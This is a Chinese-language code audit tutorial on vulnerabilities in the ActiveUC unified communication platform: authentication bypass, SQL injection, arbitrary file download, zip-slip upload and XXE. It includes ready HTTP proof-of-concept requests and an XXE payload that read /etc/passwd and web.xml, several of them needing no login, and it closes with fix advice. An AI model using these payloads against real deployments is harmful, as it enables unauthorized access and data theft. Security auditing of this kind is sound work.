网动统一通信平台ActiveUC代码审计分析
字数 1931 2025-11-21 12:30:15
网动统一通信平台ActiveUC代码审计分析教学文档
1. 系统概述
网动统一通信平台(ActiveUC)是由北京网动网络科技股份有限公司开发的企业级通信平台,集成文字、语音、视频等多种沟通方式。该系统采用Struts2框架开发,使用iBATIS和JDBC两种数据库操作方式。
2. 鉴权机制分析
2.1 拦截器配置
系统通过Struts2拦截器实现鉴权机制,定义了三类拦截器:
global拦截器栈:
- 包含pagerInterceptor和exceptionInterceptor
- 继承框架内置的defaultStack
- pagerInterceptor功能:从HTTP请求提取分页偏移量、页面大小和语言设置
- exceptionInterceptor功能:捕获未处理异常,返回500错误响应
globalAndVerify拦截器:
- 包含verifyLogInfoInterceptor和pagerInterceptor
- verifyLogInfoInterceptor:检查session中是否存在logonInfo记录
globalAndVerifyForCall拦截器:
- 使用VerifyUserInfoInterceptor
- 检查session中是否存在userInfo对应的用户记录
2.2 鉴权绕过漏洞
UserFilter.java中的白名单绕过:
- 白名单验证使用contains()方法进行模糊匹配
- 漏洞利用:可通过路径遍历绕过验证
- 示例:
/downloads/../admin/info可绕过白名单检查
3. SQL注入漏洞分析
3.1 漏洞位置
文件:UserImportTemp.xml中的listUserImportTempByTemps方法
问题代码:使用非预编译的$参数写法
<!-- 存在注入的SQL语句 -->
<select id="listUserImportTempByTemps" parameterClass="java.util.Map" resultClass="java.util.HashMap">
SELECT * FROM user_import_temp WHERE PK_TEMP = '$temps$'
</select>
3.2 漏洞调用链
UserAction.java中的exportUsers方法:
public String exportUsers() {
String temps = request.getParameter("temps"); // 用户可控参数
// 直接传递给SQL查询
}
3.3 访问限制
- 该Action继承globalAndVerify拦截器
- 需要登录后才能利用
4. 任意文件下载漏洞
4.1 第一处漏洞
位置:DownloadTask.java中的RenderDownloadFile方法
触发方法:UserAction.java中的downloadUserTemplate方法
漏洞代码:
String path = request.getParameter("filePath");
String realpath = absolutePath + path; // 路径拼接
POC:
POST /acenter/user!RenderDownloadFile.action HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
filePath=../../../../../../etc/passwd
访问限制:需要鉴权
4.2 第二处漏洞(高危)
位置:DownloadTask.java中的streamDownloadFile方法
触发方法:MeetingAction.java中的downloadDocument方法
漏洞代码:
String filepath = request.getParameter("filePath");
// 直接传递给文件下载方法
关键发现:MeetingShowAction.java中的downloadDocument方法
- 未继承任何权限拦截器
- 可前台直接访问
POC:
GET /acenter/meetingShow!downloadDocument.action?filePath=WEB-INF/web.xml HTTP/1.1
Host: target.com
5. 前台文件上传漏洞
5.1 漏洞位置
文件:VersionAction.java中的editVersion方法
上传逻辑:
- 获取原始文件名和后缀
- 检查是否为zip或apk格式
- 调用fileUpload.uploadAndUnzip方法处理
5.2 漏洞详情
解压过程问题:
- 使用ZipUtils.Unzip方法解压
- 仅校验文件名不能包含"jsp"或"jspx"
- 未校验路径遍历字符(如../)
- 可覆盖系统关键文件
Windows特性利用:
- 可使用
::$DATA等特殊字符绕过校验
5.3 访问权限
- 对应的Action未配置鉴权拦截器
- 可前台直接访问
POC:
POST /acenter/versionCtr!editVersion.action HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwCSm8qxaqfd10tO
------WebKitFormBoundarywwCSm8qxaqfd10tO
Content-Disposition: form-data; name="APP"
3
------WebKitFormBoundarywwCSm8qxaqfd10tO
Content-Disposition: form-data; name="fileUpload.file"; filename="test.zip"
Content-Type: application/x-zip-compressed
[ZIP文件内容]
6. 前台XXE漏洞
6.1 漏洞位置
文件:CheckUserAction.java
漏洞代码:
String AuthorizedInfo = request.getParameter("AuthorizedInfo");
Document doc = DocumentHelper.parseText(AuthorizedInfo); // 直接解析用户输入
6.2 漏洞特性
- 使用DocumentHelper.parseText解析XML
- 输入参数完全用户可控
- 存在XXE注入风险
6.3 访问权限
- 继承global拦截器(仅基础功能)
- 无鉴权限制,可前台触发
POC示例:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>&xxe;</test>
7. 总结与防护建议
7.1 主要漏洞类型
- 鉴权绕过漏洞
- SQL注入漏洞(iBATIS配置问题)
- 任意文件下载(路径遍历)
- 不安全文件上传(解压漏洞)
- XXE注入漏洞
7.2 修复建议
- 鉴权修复:使用精确匹配代替contains()方法
- SQL注入:统一使用预编译语句
- 文件操作:规范化路径处理,禁用路径遍历
- 文件上传:加强文件类型和内容校验
- XXE防护:禁用外部实体解析
7.3 审计重点
- Struts2拦截器配置
- iBATIS中$符号的使用
- 用户输入直接用于文件操作
- XML解析器的安全配置
- 白名单验证机制的实现方式
本教学文档详细分析了ActiveUC系统的安全漏洞,可作为代码审计和安全开发的参考材料。